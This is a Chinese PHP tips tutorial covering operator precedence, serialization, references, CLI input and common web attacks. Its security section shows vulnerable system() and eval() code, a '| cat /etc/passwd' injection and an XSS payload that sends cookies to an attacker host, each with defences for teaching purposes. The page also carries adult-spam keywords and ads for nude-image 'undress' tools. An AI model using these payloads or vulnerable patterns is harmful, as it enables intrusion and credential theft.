国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Home php教程 php手冊 PHP編程注意事項

PHP編程注意事項

Jul 29, 2017 pm 02:36 PM
php who priority operate Precautions programming question

1、php隱性的三元操作符(?:)優(yōu)先級問題:

例1:

$person = $who or $person = "laruence"; ?

??

//實際上是等同于: ?

??

$person = emptyempty($who)? "laruence" : $who; ?

?例2

$arr = array(1=>1,3=>3); ?

$i = 2; ?

$a = ’test‘ . isset($arr[$i]) ? $arr[$i] : $i; ?

$a 是什么? 這個問題, 咋一看覺得簡單,?

$a = ‘test2';

其實仔細推敲后運行的,結(jié)果是notice:Undefined index 2..

由于優(yōu)先級的問題, 連接符的優(yōu)先級比三元操作符高。

首先是判斷 ' test'. isset($arr[$i]) 這個字符串永遠是true,因此:

$a = ?$arr[$i];以致php提示提醒。

?

?

2. PHP函數(shù)名和類名不區(qū)分大小寫的,而變量名是區(qū)分大小寫的。

所以自己寫的php模塊,往往是大寫的問題,編譯不通過。

?

3.系列化傳遞問題

把復(fù)雜的數(shù)據(jù)類型壓縮到一個字符串中

serialize() 把變量和它們的值編碼成文本形式

unserialize() 恢復(fù)原先變量

$stooges = array('Moe','Larry','Curly'); ?

$new = serialize($stooges); ?

print_r($new);echo "
"; ?

print_r(unserialize($new)); ?

?

結(jié)果:a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}

Array ( [0] => Moe [1] => Larry [2] => Curly )

當(dāng)把這些序列化的數(shù)據(jù)放在URL中在頁面之間會傳遞時,需要對這些數(shù)據(jù)調(diào)用urlencode(),以確保在其中的URL元字符進行處理:

?

$shopping = array('Poppy seed bagel' => 2,'Plain Bagel' =>1,'Lox' =>4); ?

echo 'next'; ?

?

margic_quotes_gpc和magic_quotes_runtime配置項的設(shè)置會影響傳遞到unserialize()中的數(shù)據(jù)。

如果magic_quotes_gpc項是啟用的,那么在URL、POST變量以及cookies中傳遞的數(shù)據(jù)在反序列化之前必須用stripslashes()進行處理:

$new_cart = unserialize(stripslashes($cart)); //如果magic_quotes_gpc開啟 ?

$new_cart = unserialize($cart); ?

?

如果magic_quotes_runtime是啟用的,那么在向文件中寫入序列化的數(shù)據(jù)之前必須用addslashes()進行處理,而在讀取它們之前則必須用stripslashes()進行處理:

$fp = fopen('/tmp/cart','w'); ?

fputs($fp,addslashes(serialize($a))); ?

fclose($fp); ?

//如果magic_quotes_runtime開啟 ?

$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart'))); ?

//如果magic_quotes_runtime關(guān)閉 ?

$new_cat = unserialize(file_get_contents('/tmp/cart')); ?

?

在啟用了magic_quotes_runtime的情況下,從數(shù)據(jù)庫中讀取序列化的數(shù)據(jù)也必須經(jīng)過stripslashes()的處理,保存到數(shù)據(jù)庫中的序列化數(shù)據(jù)必須要經(jīng)過addslashes()的處理,以便能夠適當(dāng)?shù)卮鎯Α?/p>

mysql_query("insert into cart(id,data) values(1,'".addslashes(serialize($cart))."')"); ?

$rs = mysql_query('select data from cart where id=1'); ?

$ob = mysql_fetch_object($rs); ?

//如果magic_quotes_runtime開啟 ?

$new_cart = unserialize(stripslashes($ob->data)); ?

//如果magic_quotes_runtime關(guān)閉 ?

$new_cart = unserialize($ob->data); ?

當(dāng)對一個對象進行反序列化操作時,PHP會自動地調(diào)用其__wakeUp()方法。這樣就使得對象能夠重新建立起序列化時未能保留的各種狀態(tài)。例如:數(shù)據(jù)庫連接等。

?

4. 引用注意事項

PHP中引用意味著用不同的名字訪問同一個變量內(nèi)容,引用不是C的指針(C語言中的指針里面存儲的是變量的內(nèi)容,在內(nèi)存中存放的地址),是變量的另外一個別名或者映射。注意在 PHP 中,變量名和變量內(nèi)容是不一樣的,因此同樣的內(nèi)容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身――變量名是目錄條目,而變量內(nèi)容則是文件本身。引用可以被看作是 Unix 文件系統(tǒng)中的緊密連接或者wins的快捷方式。

1)unset 一個引用,只是斷開了變量名和變量內(nèi)容之間的綁定。這并不意味著變量內(nèi)容被銷毀了

?

例如:不會 unset $b,只是 $a。

?

$a = 1 ;

$b =& $a ;

unset ( $a );

echo $b; //輸出:1:

使用unset($a)與$a=null的結(jié)果是不一樣的。如果該塊內(nèi)存只有$a一個映射,那么unset($a)與$a=null等價,該內(nèi)存的引用計數(shù)變?yōu)?,被自動回收;如果該塊內(nèi)存有$a和$b兩個映射,那么unset($a)將導(dǎo)致$a=null且$b不變的情況,而$a=null會導(dǎo)致$a=$b=null的情況。

原因:某變量賦值為null,將導(dǎo)致該變量對應(yīng)的內(nèi)存塊的引用計數(shù)直接置為0,被自動回收。

2)PHP引用是采用引用計數(shù)、寫時拷貝

很多人誤解Php中的引用跟C當(dāng)中的指針一樣,事實上并非如此,而且很大差別。C語言中的指針除了在數(shù)組傳遞過程中不用顯式申明外,其他都需要使用*進行定義,而php中對于地址的指向(類似指針)功能不是由用戶自己來實現(xiàn)的,是由Zend核心實現(xiàn)的,php中引用采用的是“引用計數(shù)、寫時拷貝”的原理,(寫時復(fù)制(Copy-on-Write,也縮寫為COW),顧名思義,就是在寫入時才真正復(fù)制一份內(nèi)存進行修改。)

就是除非發(fā)生寫操作,指向同一個地址的變量或者對象是不會被拷貝的,比如下面的代碼:

$a = array('a','c'...'n');

$b = $a;

如果程序僅執(zhí)行到這里,$b和$b是相同的,但是并沒有像C那樣,$a和$b占用不同的內(nèi)存空間,而是指向了同一塊內(nèi)存,這就是php和c的差別,并不需要寫成$b=&$a才表示$b指向$a的內(nèi)存,zend就已經(jīng)幫你實現(xiàn)了引用,并且zend會非常智能的幫你去判斷什么時候該這樣處理,什么時候不該這樣處理。

如果在后面繼續(xù)寫如下代碼,增加一個函數(shù),通過引用的方式傳遞參數(shù),并打印輸出數(shù)組大小。

function printArray(&$arr) //引用傳遞

{

print(count($arr));

}

printArray($a);

上面的代碼中,我們通過引用把$a數(shù)組傳入printArray()函數(shù),zend引擎會認為printArray()可能會導(dǎo)致對$a的改變,此時就會自動為$b生產(chǎn)一個$a的數(shù)據(jù)拷貝,重新申請一塊內(nèi)存進行存儲。這就是前面提到的“引用計數(shù)、寫時拷貝”概念。

直觀的理解:$a將使用自己原始的內(nèi)存空間,而$b,則會使用新開辟的內(nèi)存空間,而這個空間將使用$a的原始($a或者$b改變之前)內(nèi)容空間的內(nèi)容的拷貝,然后做對應(yīng)的改變。

如果我們把上面的代碼改成下面這樣:

function printArray($arr) //值傳遞

{

print(count($arr));

}

printArray($a);

上面的代碼直接傳遞$a值到printArray()中,此時并不存在引用傳遞,所以沒有出現(xiàn)寫時拷貝。

具體了解引用請看:PHP中引用的詳解(引用計數(shù)、寫時拷貝)

5. 編碼的問題

程序代碼使用utf-8碼,而strlen函數(shù)是計算字符串的字節(jié)數(shù)而不是字符數(shù)?

$str = “您好hello”;

echo strlen($str);

結(jié)果:ANSI=9 而utf-8=11,utf-8中文字符編碼是3個字節(jié)。要獲取字符數(shù),使用mb_strlen().

6. PHP獲取參數(shù)的三種方法

方法一 使用$argc $argv

if ($argc > 1){ ?

? ? ? ? print_r($argv); ?

? ? } ?

在命令行下運行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456

運行結(jié)果:

? ? ?# /usr/local/php/bin/php ./getopt.php -f 123 -g 456

? ? ? ? Array

? ? ? ? (

? ? ? ? ? ? [0] => ./getopt.php

? ? ? ? ? ? [1] => -f

? ? ? ? ? ? [2] => 123

? ? ? ? ? ? [3] => -g

? ? ? ? ? ? [4] => 456

? ? ? ? )

?

方法二 使用getopt函數(shù)()

$options = "f:g:"; ?

$opts = getopt( $options ); ?

print_r($opts); ?

在命令行下運行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456

?運行結(jié)果:

? ?Array

? ? ? ? (

? ? ? ? ? ? [f] => 123

? ? ? ? ? ? [g] => 456

? ? ? ? )

方法三 提示用戶輸入,然后獲取輸入的參數(shù)。有點像C語言

fwrite(STDOUT, "Enter your name: "); ?

$name = trim(fgets(STDIN)); ?

fwrite(STDOUT, "Hello, $name!"); ?

?

在命令行下運行 /usr/local/php/bin/php ./getopt.php

?運行結(jié)果

? ? ?Enter your name: francis

? ? ?Hello, francis!

?

?

7. php的字符串即可以當(dāng)做數(shù)組,和c指針字符串一樣

$s = '12345';

$s[$s[0]] = 0;

echo $s;

?> ?

結(jié)果是10345

?

?

8. PHP的高效率寫法:

? ?請看:PHP高效率寫法(詳解原因)

?

9. PHP的安全漏洞問題:

針對PHP的網(wǎng)站主要存在下面幾種攻擊方式:

1、命令注入(Command Injection)

? ? ?PHP中可以使用下列5個函數(shù)來執(zhí)行外部的應(yīng)用程序或函數(shù) system、exec、passthru、shell_exec、“(與shell_exec功能相同)

? ? ?如:

$dir = $_GET["dir"];

if (isset($dir)) {

echo "";

system("ls -al ".$dir);

echo "";

}

?> ??

我們提交http://www.test.com/ex1.php?dir=| cat /etc/passwd,命令變成了 system("ls -al | cat /etc/passwd"); 我們服務(wù)器用戶信息被竊看了吧。

2、eval注入(Eval Injection)

eval函數(shù)將輸入的字符串參數(shù)當(dāng)作PHP程序代碼來執(zhí)行,eval注入一般發(fā)生在攻擊者能控制輸入的字符串的時候。

$var = "var"; ??

if (isset($_GET["arg"])) ??

{ ??

? ? $arg = $_GET["arg"]; ??

? ? eval("\$var = $arg;"); ??

? ? echo "\$var =".$var; ??

} ??

?> ?

?

當(dāng)我們提交http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產(chǎn)生了;

防范命令注入和eval注入的方法

? ?1)、盡量不要執(zhí)行外部命令。

? ?2)、使用自定義函數(shù)或函數(shù)庫來替代外部命令的功能,甚至有些服務(wù)器直接禁止使用這些函數(shù)。

? ?3)、使用escapeshellarg函數(shù)來處理命令參數(shù),esacpeshellarg函數(shù)會將任何引起參數(shù)或命令結(jié)束的字符轉(zhuǎn)義,單引號“’”,替換成“\’”,雙引號“"”,替換成“\"”,分號“;”替換成“\;”

?

3、客戶端腳本攻擊(Script Insertion)

客戶端腳本植入的攻擊步驟

1)、攻擊者注冊普通用戶后登陸網(wǎng)站

2)、打開留言頁面,插入攻擊的js代碼

3)、其他用戶登錄網(wǎng)站(包括管理員),瀏覽此留言的內(nèi)容

4)、隱藏在留言內(nèi)容中的js代碼被執(zhí)行,攻擊成功

?

表單輸入一些瀏覽器可以執(zhí)行的腳本:

插入 <script>while(1){windows.open();}</script> 無限彈框

插入<script>location.href="http://www.sectop.com";</script> 跳轉(zhuǎn)釣魚頁面

?防止惡意HTML標(biāo)簽的最好辦法是使用htmlspecailchars或者htmlentities使某些字符串轉(zhuǎn)為html實體。

?

4、跨網(wǎng)站腳本攻擊(Cross Site Scripting, XSS)

惡意攻擊者往Web頁面里插入惡意html代碼,當(dāng)用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意用戶的特殊目的。

跨站腳本主要被攻擊者利用來讀取網(wǎng)站用戶的cookies或者其他個人數(shù)據(jù),一旦攻擊者得到這些數(shù)據(jù),那么他就可以偽裝成此用戶來登錄網(wǎng)站,獲得此用戶的權(quán)限。

跨站腳本攻擊的一般步驟:

1)、攻擊者以某種方式發(fā)送xss的http鏈接給目標(biāo)用戶,例如評論表單:

? ? ? ? 插入<script>document.location= &ldquo;go.somewhere.bad?cookie=+&ldquo;this.cookie</script>

? ? ? 或者是鏈接:

? ? ? http://w w w.my.site/index.php?user=< script >document.location="http://w w w.atacker.site/get.php?cookie="+document.cookie;< / script >

2)、目標(biāo)用戶登錄此網(wǎng)站,在登陸期間打開了攻擊者發(fā)送的xss鏈接

3)、網(wǎng)站執(zhí)行了此xss攻擊腳本

4)、目標(biāo)用戶頁面跳轉(zhuǎn)到攻擊者的網(wǎng)站,攻擊者取得了目標(biāo)用戶的信息

5)、攻擊者使用目標(biāo)用戶的信息登錄網(wǎng)站,完成攻擊

? ? ? 防止惡意HTML標(biāo)簽的最好辦法還是使用htmlspecailchars或者htmlentities使某些字符串轉(zhuǎn)為html實體。

?

5、SQL注入攻擊(SQL injection)

? ? ?SQL注入最有效的防御方式是使用準(zhǔn)備語句:

? ? ?準(zhǔn)備語句(也叫預(yù)備語句 prepared statements),是一種查詢,先將他們發(fā)送到服務(wù)器進行預(yù)編譯和準(zhǔn)備,并且在以后的執(zhí)行這個查詢時告訴它存儲參數(shù)的位置。

其優(yōu)點:

? ?1)對參數(shù)值進行轉(zhuǎn)義。因此不必調(diào)用像mysqli::real_escape_string或者將參數(shù)放在引號中。

? 2)當(dāng)在一個腳本中多次執(zhí)行時,預(yù)備語句的性能通常好于每次都通過網(wǎng)絡(luò)發(fā)送查詢,當(dāng)再次執(zhí)行一個查詢時,只將參數(shù)發(fā)送到數(shù)據(jù)庫,這占用的空間比較少。

1)用PDO(PHP Data Objects ):

PHP PDO::prepare() and execute() ??

??

$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)'); ? ?

??

$preparedStatement->execute(array(':column' => $unsafeValue)); ??

?

2) 使用mysqli:

$stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?'); ??

??

$stmt->bind_param('s', $name); ? ?

??

$stmt->execute(); ? ?

??

$result = $stmt->get_result(); ? ?

??

while ($row = $result->fetch_assoc()) { ? ?

??

? ? // do something with $row ? ??

??

} ? ?

?

6、跨網(wǎng)站請求偽造攻擊(Cross Site Request Forgeries, CSRF)

7、Session 會話劫持(Session Hijacking)

8、Session 固定攻擊(Session Fixation)

9、HTTP響應(yīng)拆分攻擊(HTTP Response Splitting)

10、文件上傳漏洞(File Upload Attack)

11、目錄穿越漏洞(Directory Traversal)

12、遠程文件包含攻擊(Remote Inclusion)

13、動態(tài)函數(shù)注入攻擊(Dynamic Variable Evaluation)

14、URL攻擊(URL attack)

15、表單提交欺騙攻擊(Spoofed Form Submissions)

16、HTTP請求欺騙攻擊(Spoofed HTTP Requests)

幾個重要的php.ini選項:register_globals、、magic_quotes、safe_mode。 這個幾個選項在PHP5.4都將被棄用。

register_globals:

? ? ?php>=4.2.0,php.ini的register_globals選項的默認值預(yù)設(shè)為Off,當(dāng)register_globals

的設(shè)定為On時,程序可以接收來自服務(wù)器的各種環(huán)境變量,包括表單提交的變量,而且由于PHP不必事先初始化變量的值,從而導(dǎo)致很大的安全隱患。

? ? ?要確保禁用 register_globals。如果啟用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替換同名的 GET 或 POST 字符串。通過禁用這個設(shè)置,PHP 強迫您在正確的名稱空間中引用正確的變量。要使用來自表單 POST 的變量,應(yīng)該引用 $_POST['variable']。這樣就不會將這個特定變量誤會成 cookie、會話或 GET 變量。?

?

safe_mode:

安全模式,PHP用來限制文檔的存取、限制環(huán)境變量的存取,控制外部程序的執(zhí)行。啟用安全模式必須設(shè)置php.ini中的safe_mode=On

?

magic_quotes

用來讓php程序的輸入信息自動轉(zhuǎn)義,所有的單引號(“'”),雙引號(“"”),反斜杠(“\”)和空字符(NULL),都自動被加上反斜杠進行轉(zhuǎn)義magic_quotes_gpc=On用來設(shè)置magicquotes為On,它會影響HTTP請求的數(shù)據(jù)(GET、POST、Cookies)程序員也可以使用addslashes來轉(zhuǎn)義提交的HTTP 請求數(shù)據(jù),或者用stripslashes 來刪除轉(zhuǎn)義。

?

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undress AI Tool

Undress AI Tool

Undress images for free

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How do I stay up-to-date with the latest PHP developments and best practices? How do I stay up-to-date with the latest PHP developments and best practices? Jun 23, 2025 am 12:56 AM

TostaycurrentwithPHPdevelopmentsandbestpractices,followkeynewssourceslikePHP.netandPHPWeekly,engagewithcommunitiesonforumsandconferences,keeptoolingupdatedandgraduallyadoptnewfeatures,andreadorcontributetoopensourceprojects.First,followreliablesource

What is PHP, and why is it used for web development? What is PHP, and why is it used for web development? Jun 23, 2025 am 12:55 AM

PHPbecamepopularforwebdevelopmentduetoitseaseoflearning,seamlessintegrationwithHTML,widespreadhostingsupport,andalargeecosystemincludingframeworkslikeLaravelandCMSplatformslikeWordPress.Itexcelsinhandlingformsubmissions,managingusersessions,interacti

How to set PHP time zone? How to set PHP time zone? Jun 25, 2025 am 01:00 AM

TosettherighttimezoneinPHP,usedate_default_timezone_set()functionatthestartofyourscriptwithavalididentifiersuchas'America/New_York'.1.Usedate_default_timezone_set()beforeanydate/timefunctions.2.Alternatively,configurethephp.inifilebysettingdate.timez

What is data serialization in PHP (serialize(), unserialize())? What is data serialization in PHP (serialize(), unserialize())? Jun 22, 2025 am 01:03 AM

ThePhpfunctionSerialize () andunserialize () AreusedtoconvertcomplexdaTastructdestoresintostoraSandaBackagain.1.Serialize () c OnvertsdatalikecarraysorobjectsraystringcontainingTypeandstructureinformation.2.unserialize () Reconstruct theoriginalatataprom

What are the best practices for writing clean and maintainable PHP code? What are the best practices for writing clean and maintainable PHP code? Jun 24, 2025 am 12:53 AM

The key to writing clean and easy-to-maintain PHP code lies in clear naming, following standards, reasonable structure, making good use of comments and testability. 1. Use clear variables, functions and class names, such as $userData and calculateTotalPrice(); 2. Follow the PSR-12 standard unified code style; 3. Split the code structure according to responsibilities, and organize it using MVC or Laravel-style catalogs; 4. Avoid noodles-style code and split the logic into small functions with a single responsibility; 5. Add comments at key points and write interface documents to clarify parameters, return values ??and exceptions; 6. Improve testability, adopt dependency injection, reduce global state and static methods. These practices improve code quality, collaboration efficiency and post-maintenance ease.

How do I execute SQL queries using PHP? How do I execute SQL queries using PHP? Jun 24, 2025 am 12:54 AM

Yes,youcanrunSQLqueriesusingPHP,andtheprocessinvolveschoosingadatabaseextension,connectingtothedatabase,executingqueriessafely,andclosingconnectionswhendone.Todothis,firstchoosebetweenMySQLiorPDO,withPDObeingmoreflexibleduetosupportingmultipledatabas

How do I use page caching in PHP? How do I use page caching in PHP? Jun 24, 2025 am 12:50 AM

PHP page caching improves website performance by reducing server load and speeding up page loading. 1. Basic file cache avoids repeated generation of dynamic content by generating static HTML files and providing services during the validity period; 2. Enable OPcache to compile PHP scripts into bytecode and store them in memory, improving execution efficiency; 3. For dynamic pages with parameters, they should be cached separately according to URL parameters, and avoid cached user-specific content; 4. Lightweight cache libraries such as PHPFastCache can be used to simplify development and support multiple storage drivers. Combining these methods can effectively optimize the caching strategy of PHP projects.

How do I use logical operators in PHP (&&, ||, !, and, or, xor)? How do I use logical operators in PHP (&&, ||, !, and, or, xor)? Jun 23, 2025 am 12:56 AM

In PHP, logical operators are used to combine or evaluate conditions, and the main operators include &&, and, ||, or, !, and xor. 1. The difference between && and is in priority. && is higher than the assignment operator, while and is lower than the assignment operator, so the behavior is different when combining assignment; 2.|| and or also have similar priority differences, || takes precedence over assignment, while or is processed after assignment; 3.! operator is used to invert Boolean values, often used to check whether the condition is false, and it is recommended to wrap complex expressions in brackets to ensure correct application; 4.xor returns true only when exactly one of the two values ??is true, suitable for mutex condition judgment

See all articles